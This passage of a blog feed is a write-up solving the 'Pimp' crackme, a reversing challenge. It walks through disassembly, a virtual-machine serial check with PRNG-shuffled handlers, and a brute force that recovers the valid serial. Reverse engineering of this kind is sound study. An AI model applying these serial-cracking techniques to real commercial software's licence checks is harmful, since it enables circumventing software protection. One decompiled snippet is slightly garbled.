.text:00402A4B
.text:00402A4B loc_402A4B:
.text:00402A4B                 cmp     [ebp+var_4], 0Fh
.text:00402A4F                 jle     short loc_402A18
.text:00402A51                 mov     ds:serial_length, 0
.text:00402A5B                 sub     esp, 4
.text:00402A5E                 push    10h             ; Size
.text:00402A60                 push    0FFh            ; Val
.text:00402A65                 push    offset byte_40D040 ; Dst
.text:00402A6A                 call    memset
.text:00402A6F                 add     esp, 10h
.text:00402A72                 sub     esp, 8
.text:00402A75                 push    [ebp+var_C]
.text:00402A78                 push    [ebp+var_10]
.text:00402A7B                 call    check_serial
.text:00402A80                 add     esp, 10h
.text:00402A83                 test    al, al
.text:00402A85                 jz      short loc_402AA4
.text:00402A87                 mov     ds:goodboy_flag, 1
.text:00402A8E                 mov     eax, 41F00000h
.text:00402A93                 mov     flt_40D034, eax
.text:00402A98                 push    0
.text:00402A9A                 call    sub_4013B0
.text:00402A9F                 add     esp, 4
.text:00402AA2                 jmp     short loc_402ABF</pre>
<p>How did I knew we should focus on this part? That code just looks suspicious <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Part at the beginning is a loop with 16 (number of characters in serial) iterations, converting something from a buffer (byte_40D040) to a 64-bit number. Stepping through that code in a debugger reveals, that byte_40D040 holds characters of the serial number, &#8220;encoded&#8221; as follows:</p>
<pre>0  4  8  c
1  5  9  d
2  6  a  e
3  7  b  f</pre>
<p>So the green triangle from the first column is 0, and the purple triangle from last column is 0xC. Forcing path down to 00402A87 sets the &#8220;goodboy&#8221; flag and makes the crackme display congratulations. We are not interested in patching, as that would be too easy. Besides, authors explicitly forbid it.</p>
<p>We need to take a look at check_serial function. I&#8217;ll skip the part about how to actually understand the disassembly, since it&#8217;s a topic in itself, and move straight to the semantics. Here is an approximate decompilation of the serial-checking function.</p>
<pre>//.text:004039AE
bool __cdecl check_serial2(int sn1, int sn2)
{
  int param_ptr; // ST14_4@4
  int v3; // ecx@19
  signed int v4; // eax@19
  bool v6; // [sp+0h] [bp-28h]@2
  int v7; // [sp+8h] [bp-20h]@1
  int opcode_ptr; // [sp+Ch] [bp-1Ch]@3
  unsigned __int8 vm_opcode; // [sp+13h] [bp-15h]@4
  int vm_argument; // [sp+14h] [bp-14h]@4
  int vm_proc; // [sp+18h] [bp-10h]@4
  int vm_result; // [sp+1Ch] [bp-Ch]@12
  int vm_resulta; // [sp+1Ch] [bp-Ch]@23
  int i; // [sp+20h] [bp-8h]@4

  v7 = 0;
  if ( sub_403950() == 0 )
  {
    v6 = 0;
  }
  else
  {
    sn1_copy = sn1;
    sn_nibble = sn1 &amp; 0xF;
    *(_DWORD *)vm_reg4 = sn2;
    opcode_ptr = 0;
    while ( 1 )
    {
      if ( vm_code_size = 0 )
        {
          if ( vm_result &gt; 0 )
          {
            if ( opcode_ptr + 5 * vm_result &gt;= (unsigned int)vm_code_size )
              return 0;
            opcode_ptr += 5 * vm_result;
          }
        }
        else
        {
          vm_resulta = -vm_result;
          if ( opcode_ptr + -5 * vm_resulta &lt; 0 )
            return 0;
          opcode_ptr += -5 * vm_resulta;
        }
      }
    }
    v6 = v7 == 8;
  }
  return v6;
}</pre>
<p>This might be confusing at first glance, so let&#8217;s simplify it further.</p>
<pre>// sn1 - first dword of our serial
// sn2 - second dword
// op_ptr is a pointer to current VM opcode
// vm_code is a table containing opcodes and arguments: [op1,arg1,op2,arg2,...]
// vm_reg4 - virtual register 4

op_ptr = 0;
vm_reg4 = sn2;
while(1){
    vm_op = fetch_opcode(op_ptr, vm_code);
    vm_arg = fetch_arg(op_ptr+1, vm_code);
    vm_proc = fetch_proc(vm_op, handlers);

    op_ptr += 5;

    result = vm_call(vm_proc, vm_arg);

    if(result == 0xBADC0FFE)
        break;

    if(result == 0xDEADBEEF){
        if(vm_reg1 != constants[i])
            return 0;

        i++;
        sn_part = trim(sn1, i);
    }
    else{
        if(result &gt;= 0){
            if(result &gt; 0)
                if(op_ptr + result &gt;= vm_code_size)
                    return 0;
        }
        else{
            if(op_ptr + result &lt; 0)
                return 0;
        }

        op_ptr += result;
    }
}

return (i==8);</pre>
<p>Much better <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . We see that there are two values with special meaning. One, 0xBADC0FFE is a signal to terminate the VM. Second one 0xDEADBEEF is a signal to compare the contents of one of the virtual registers (vm_reg1) against a constant from a table. If the comparision fails, serial is rejected (return 0).</p>
<p>If the value returned from vm_call isn&#8217;t one of the above magic constant, VM treats it as a jump displacement, by updating op_ptr (op_ptr += result). Before update VM checks if displacement is in correct range, as jumping after or before the vm_code buffer would result in executing trash <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Notice that our 64-bit serial is split into two 32-bit parts: sn1 and sn2. sn2 is copied to VM_REG4, so it seems that only this part in mangled by the VM, as sn1 is used to set an additional variable sn_part, using function &#8220;trim&#8221;:</p>
<pre>unsigned int trim(n, i){
    int x, y;
    x = 4*(i+1);
    y = n&lt;&lt;x;
    if(x &amp; 0x20)
        y = 0;
    return (n &amp; (y-1));
}</pre>
<p>This will play a role later on.</p>
<p>Finally, last return statement (return (i==8)) tells us, that all 8 comparisions must succeed, otherwise crackme will reject our serial.</p>
<p>That doesn&#8217;t seem so bad, we just need to decompile the embedded VM code and reverse/bruteforce whatever computation it performs on sn2. We should expect some kind of trickery, since it&#8217;s unlikely that sn1 is simply ignored.</p>
<p>Let&#8217;s take a look at the VM handlers.</p>
<pre>.data:0091FE20 handlers_procs  dd offset handlers_proc
.data:0091FE24 ; char handlers_op[]
.data:0091FE24 handlers_op     dd 1
.data:0091FE24
.data:0091FE28 off_91FE28      dd offset vm_mix_handlers
.data:0091FE28
.data:0091FE2C ; int handlers[]
.data:0091FE2C handlers        dd 0
.data:0091FE2C
.data:0091FE30 ; int dword_91FE30[]
.data:0091FE30 dword_91FE30    dd 0
.data:0091FE30
.data:0091FE34                 dd offset handlers_proc
.data:0091FE38                 dd 2
.data:0091FE3C                 dd offset vm_DIE
.data:0091FE40                 dd 0
.data:0091FE44                 dd 0
.data:0091FE48                 dd offset handlers_proc
.data:0091FE4C                 dd 3
.data:0091FE50                 dd offset vm_JMP
.data:0091FE54                 dd 0
.data:0091FE58                 dd 0
.data:0091FE5C                 dd offset handlers_proc
.data:0091FE60                 dd 4
.data:0091FE64                 dd offset vm_JZ
.data:0091FE68                 dd 0
.data:0091FE6C                 dd 0
.data:0091FE70                 dd offset handlers_proc
.data:0091FE74                 dd 5
.data:0091FE78                 dd offset vm_JNZ
.data:0091FE7C                 dd 0
.data:0091FE80                 dd 0
.data:0091FE84                 dd offset handlers_proc
.data:0091FE88                 dd 6
.data:0091FE8C                 dd offset vm_mov_hostReg1_reg1
.data:0091FE90                 dd 0
.data:0091FE94                 dd 0
.data:0091FE98                 dd offset handlers_proc
.data:0091FE9C                 dd 7
.data:0091FEA0                 dd offset vm_mov_reg1_hostReg1
.data:0091FEA4                 dd 0
.data:0091FEA8                 dd 0
.data:0091FEAC                 dd offset handlers_proc
.data:0091FEB0                 dd 8
.data:0091FEB4                 dd offset vm_fancy_call
.data:0091FEB8                 dd 0
.data:0091FEBC                 dd 0
.data:0091FEC0                 dd offset handlers_proc
.data:0091FEC4                 dd 9
.data:0091FEC8                 dd 0
.data:0091FECC                 dd offset vm_mov_mem_reg1
.data:0091FED0                 dd 3Ah
.data:0091FED4                 dd offset handlers_proc
.data:0091FED8                 dd 0Ah
.data:0091FEDC                 dd 0</pre>
<p>Handlers aren&#8217;t obfuscated in any way, so it&#8217;s easy to identify what they do by just looking at them. For example:</p>
<pre>.text:0040301E vm_DIE          proc far
.text:0040301E
.text:0040301E var_4           = dword ptr -4
.text:0040301E
.text:0040301E                 push    ebp
.text:0040301F                 mov     ebp, esp
.text:00403021                 sub     esp, 10h
.text:00403024                 mov     [ebp+var_4], 0BADC0FFEh
.text:0040302B                 mov     eax, [ebp+var_4]
.text:0040302E                 leave
.text:0040302F                 retf
.text:0040302F vm_DIE          endp

.data:0091F740 vm_or_reg1_reg2 proc far
.data:0091F740                 mov     esi, 0FFF0h
.data:0091F745                 cmp     esi, 0FFFDh
.data:0091F74B                 jb      short loc_91F754
.data:0091F74D                 xor     eax, eax
.data:0091F74F                 xor     edx, edx
.data:0091F751                 retf    4
.data:0091F754 ; ---------------------------------------------------------------------------
.data:0091F754
.data:0091F754 loc_91F754:
.data:0091F754                 mov     ebx, [edi+0FFF0h]
.data:0091F75A                 mov     esi, 0FFF4h
.data:0091F75F                 cmp     esi, 0FFFDh
.data:0091F765                 jb      short loc_91F76E
.data:0091F767                 xor     eax, eax
.data:0091F769                 xor     edx, edx
.data:0091F76B                 retf    4
.data:0091F76E ; ---------------------------------------------------------------------------
.data:0091F76E
.data:0091F76E loc_91F76E:
.data:0091F76E                 mov     ecx, [edi+0FFF4h]
.data:0091F774                 or      ebx, ecx
.data:0091F776                 mov     [edi+0FFF0h], ebx
.data:0091F77C                 xor     eax, eax
.data:0091F77E                 xor     edx, edx
.data:0091F780                 retf    4
.data:0091F780 vm_or_reg1_reg2 endp

.data:0091F520 vm_add_reg1_param proc far
.data:0091F520
.data:0091F520 arg_0           = dword ptr  8
.data:0091F520
.data:0091F520                 mov     esi, 0FFF0h
.data:0091F525                 cmp     esi, 0FFFDh
.data:0091F52B                 jb      short loc_91F534
.data:0091F52D                 xor     eax, eax
.data:0091F52F                 xor     edx, edx
.data:0091F531                 retf    4
.data:0091F534 ; ---------------------------------------------------------------------------
.data:0091F534
.data:0091F534 loc_91F534:
.data:0091F534                 mov     ebx, [edi+0FFF0h]
.data:0091F53A                 mov     ecx, [esp+arg_0]
.data:0091F53E                 add     ebx, ecx
.data:0091F540                 mov     [edi+0FFF0h], ebx
.data:0091F546                 xor     eax, eax
.data:0091F548                 xor     edx, edx
.data:0091F54A                 retf    4
.data:0091F54A vm_add_reg1_param endp

.text:004031B5 vm_JZ           proc far
.text:004031B5
.text:004031B5 arg_0           = dword ptr  0Ch
.text:004031B5
.text:004031B5                 push    ebp
.text:004031B6                 mov     ebp, esp
.text:004031B8                 mov     eax, ds:vm_reg3
.text:004031BD                 mov     eax, [eax]
.text:004031BF                 test    eax, eax
.text:004031C1                 jz      short loc_4031C8
.text:004031C3                 mov     eax, [ebp+arg_0]
.text:004031C6                 leave
.text:004031C7                 retf
.text:004031C8 ; ---------------------------------------------------------------------------
.text:004031C8
.text:004031C8 loc_4031C8:
.text:004031C8                 xor     eax, eax
.text:004031CA                 leave
.text:004031CB                 retf
.text:004031CB vm_JZ           endp</pre>
<p>With all handlers identified, it&#8217;s easy to write a script for IDA that disassembles the VM code. Let&#8217;s take a look at the output (scroll down to get the script).</p>
<pre>0:	[0a]	vm_mov_reg1_mem 0xfffc
1:	[06]	vm_mov_hostReg1_reg1 0x0
2:	[12]	vm_and_reg1_param 0xf
3:	[19]	vm_shl_reg1_param 0x6
4:	[09]	vm_mov_mem_reg1 0x10
5:	[07]	vm_mov_reg1_hostReg1 0x0
6:	[06]	vm_mov_hostReg1_reg1 0x0
7:	[0a]	vm_mov_reg1_mem 0x14
8:	[0b]	vm_mov_reg2_mem 0x10
9:	[0f]	vm_cmp_reg1_reg2 0x0
10:	[16]	vm_add_reg1_param 0x1
11:	[09]	vm_mov_mem_reg1 0x14
12:	[04]	vm_JZ 11
13:	[07]	vm_mov_reg1_hostReg1 0x0
14:	[08]	vm_fancy_call 0x1
15:	[14]	vm_not_reg1 0x0
16:	[08]	vm_fancy_call 0x3
17:	[0b]	vm_mov_reg2_mem 0x14
18:	[10]	vm_xor_reg1_reg2 0x0
19:	[08]	vm_fancy_call 0x2
20:	[16]	vm_add_reg1_param 0xdeadbeefL
21:	[17]	vm_rol_reg1_param 0x7
22:	[08]	vm_fancy_call 0x0
23:	[03]	vm_JMP -18
24:	[07]	vm_mov_reg1_hostReg1 0x0
25:	[01]	vm_mix_handlers 0x0
##########
0:	[1b]	vm_mul_reg1_reg2 0x0
1:	[02]	vm_DIE 0x14
2:	[14]	vm_not_reg1 0xfffc
3:	[12]	vm_and_reg1_param 0x0
4:	[04]	vm_JZ 4
5:	[17]	vm_rol_reg1_param 0xf
6:	[0e]	vm_xchg_reg1_reg2 0x6
7:	[02]	vm_DIE 0x10
8:	[15]	vm_add_reg1_reg2 0x0
9:	[12]	vm_and_reg1_param 0x0
10:	[14]	vm_not_reg1 0x14
11:	[09]	vm_mov_mem_reg1 0x10
12:	[07]	vm_mov_reg1_hostReg1 0x0
13:	[08]	vm_fancy_call 0x1
14:	[02]	vm_DIE 0x14
15:	[11]	vm_and_reg1_reg2 0xb
16:	[15]	vm_add_reg1_reg2 0x0
17:	[06]	vm_mov_hostReg1_reg1 0x5
18:	[16]	vm_add_reg1_param 0x0
19:	[05]	vm_JNZ 0
20:	[06]	vm_mov_hostReg1_reg1 0x7
21:	[13]	vm_or_reg1_reg2 0x0
22:	[06]	vm_mov_hostReg1_reg1 0x6
23:	[0a]	vm_mov_reg1_mem 0x0
24:	[06]	vm_mov_hostReg1_reg1 0x4</pre>
<p>Second column is the instruction&#8217;s opcode. Numeric constant after each instruction is its parameter. Some instructions don&#8217;t take parameters, in which case the constant is 0.</p>
<p>First part of the decompilation looks nice &#8212; there is a loop with some arithmetic mangling, the usual thing you&#8217;d expect from a serial checking procedure in a crackme.</p>
<p>The second part looks wrong. There are premature VM_DIE instructions (we expect only one at the very end of code), jumps with nonsensical displacements, like vm_JNZ 0 (jmp $) and no-parameter instructions with parameters, like vm_NOT reg1, 0xfffc.</p>
<p>Answer to this mystery resides in implementation of vm_mix_handlers instruction. Try to take a look at it yourself and guess what it does, the address is 00403039. You won&#8217;t be able to debug it (or any other handler), due to some clever trickery, already described in detail by j00ru <a href="http://j00ru.vexillium.org/?p=866">here</a>.</p>
<p>Here&#8217;s a decompilation:</p>
<pre>def mutate(handlers):
    for j in range(2, len(handlers)):
        k = prng()
        k = (k % 0x1B)+2
        t = handlers[j]
        handlers[j] = handlers[k]
        handlers[k] = t
    return handlers

def prng():
    global seed #=sn_part = trim(sn1, i)

    v0 = ((10009 * seed + 31337) % 2**32) % 100000007
    seed = 5 * seed + 1337;
    seed = seed % 2**32
    return v0</pre>
<p>As we can see, handlers are mixed using a pseudo random number generator (PRNG), seeded with sn_part (sn_part = trim(sn1,i)) and that&#8217;s why we got garbage instead of clean code during decompilation, apparently seed wasn&#8217;t correct. The nice thing about this scheme is how the seed is computed. Each time the PRNG is used, there are only 16 possible disassemblies, since after each vm_mix_handlers, only one nibble from sn1 is copied to sn_part (scroll up for implementation of trim).</p>
<p>It&#8217;s clear what we need to do. We should generate all 16 possible disassemblies and recognize the correct one automatically. I used only two heuristics: presence of premature VM_DIE instructions and presence of no-parameter instructions with params, like OP reg1, reg2, param.</p>
<p>I won&#8217;t paste the disassembled code, as it&#8217;s rather repetitive &#8212; there are few loops with arithmetic operations on sn2, nothing extreme <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . The important thing is, there are three possible values of sn1, resulting in correct VM code being executed: 0x39845c67, 0xc9845c67, 0xd9845c67.</p>
<p>With first part out of the way, let&#8217;s work on the second one. After porting the decompiled code to C, we notice that reversing parts of the algorithm may be tricky:</p>
<pre>inline int  vm_fancy0(int a1)
{
  signed int v2; // [sp+4h] [bp-Ch]@1
  int v3; // [sp+8h] [bp-8h]@1
  unsigned int i; // [sp+Ch] [bp-4h]@1

  v2 = 63689;
  v3 = 0;
  for ( i = 0; i &lt;= 0x1F; ++i )
  {
    v3 = v2 * v3 + i * a1;
    v2 *= 378551;
  }
  return v3;
}
inline unsigned int round0(unsigned int sn2, unsigned char *mem){
    unsigned int r1, r2, hr1,tmp1,tmp2;

    tmp1 = tmp2 = 0;
    r1 = sn2;
    hr1 = r1;
    r1 = r1 &amp; 0xF;
    r1 = r1 &lt;&lt; 6;
    tmp1 = r1;
    r1 = hr1;
    while(1){
        hr1 = r1;
        r1 = tmp2;
        r2 = tmp1;
        r1 += 1;
        tmp2 = r1;
        if(r1-1 == r2)
            break;
        r1 = hr1;
        r1 = vm_fancy1(r1);
        r1 = ~r1;
        r1 = vm_fancy3(r1);
        r2 = tmp2;
        r1 = r1 ^ r2;
        r1 = vm_fancy2(r1);
        r1 += 0xdeadbeef;
        r1 = rol(r1, 7);
        r1 = vm_fancy0(r1);
    }
    r1 = hr1;
    // mix_handlers 0

    // cleanup
    tmp1 = 0;
    tmp2 = 0;

    return r1;
}</pre>
<p>vm_fancy* functions are similiar &#8212; they are all hard to reverse and loop the same number of times (32). There are eight rounds (8 functions similiar to round0), but porting them all to C isn&#8217;t really necessary. Since all of them take the same dword as an input (sn2), we can bruteforce only first two. Chance that a particular value passes first two checks, but not all eight is negligibly small, assuming all rounds are indepented and random bijections.</p>
<p>Bruteforce isn&#8217;t out of reach. To check all 32-bit values, we need to perform about <img src='https://s-ssl.wordpress.com/latex.php?latex=2%5E%7B5%7D%2A2%5E%7B6%7D%2A2%5E%7B32%7D+%3D+2%5E%7B43%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='2^{5}*2^{6}*2^{32} = 2^{43}' title='2^{5}*2^{6}*2^{32} = 2^{43}' class='latex' /> operations (<img src='https://s-ssl.wordpress.com/latex.php?latex=2%5E6&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='2^6' title='2^6' class='latex' /> is the counter of round0 function). That&#8217;s a lot, but fortunately I had access to a 23-processor machine, so bruteforcing took less than a day <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<h2 style="text-align:center;">Solution</h2>
<p>First dword is one of: 0x39845c67, 0xc9845c67, 0xd9845c67.<br />
Second dword is: 0xaed6334b.</p>
<p><a href="http://gdtr.files.wordpress.com/2011/06/gw.png"><img class="aligncenter size-full wp-image-45" title="mission complete :)" src="http://gdtr.files.wordpress.com/2011/06/gw.png?w=600" alt=""   /></a></p>
<p><strong>Fun facts</strong></p>
<p>1. There are few 32-bit values for sn2 that pass more than one, but less than eight of crackme&#8217;s checks. That seems surprising, because assuming that all rounds are random and independent bijections, probability of finding a value that passes two checks is equal to <img src='https://s-ssl.wordpress.com/latex.php?latex=1%5Cover%7B2%5E%7B32%7D%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='1&#92;over{2^{32}}' title='1&#92;over{2^{32}}' class='latex' />. Observing so many &#8220;collisions&#8221; suggests, that sizes of images of these hash-like functions are significantly smaller than their domains.</p>
<p>2. With some dedication it might be possible to put the crackme in a inifinite loop. Since bad sn1 results in garbage code being executed, it is probable that one of the  disassemblies include an undonditional vm_JMP instruction with negative parameter. With some luck it could hang the VM (assuming there would be no premature vm_DIE instructions before vm_JMP and no jumps over it). I talked with j00ru about this, and this problem was anticipated, but protecting against it was considered to be an overkill, after all, it&#8217;s just a crackme, and bruteforcing for such a magic looping dword seems pointless <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>You can get the decompiler script and the bruteforcer from my github account <a href="https://github.com/pakt/crackmes/tree/master/pimp">here</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gdtr.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gdtr.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gdtr.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gdtr.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gdtr.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gdtr.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gdtr.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gdtr.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gdtr.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gdtr.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gdtr.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gdtr.wordpress.com/7/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gdtr.wordpress.com/7/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gdtr.wordpress.com/7/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=7&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>https://gdtr.wordpress.com/2011/06/24/solving-pimp-crackme-by-j00ru-and-gynvael-coldwind/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	
		<media:content url="https://secure.gravatar.com/avatar/3ce7e4333d87845876ff400638a5f545?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gdtr</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2011/06/pimp.png" medium="image">
			<media:title type="html">Pimp crackme</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2011/06/gw.png" medium="image">
			<media:title type="html">mission complete :)</media:title>
		</media:content>
	</item>
	</channel>
</rss>
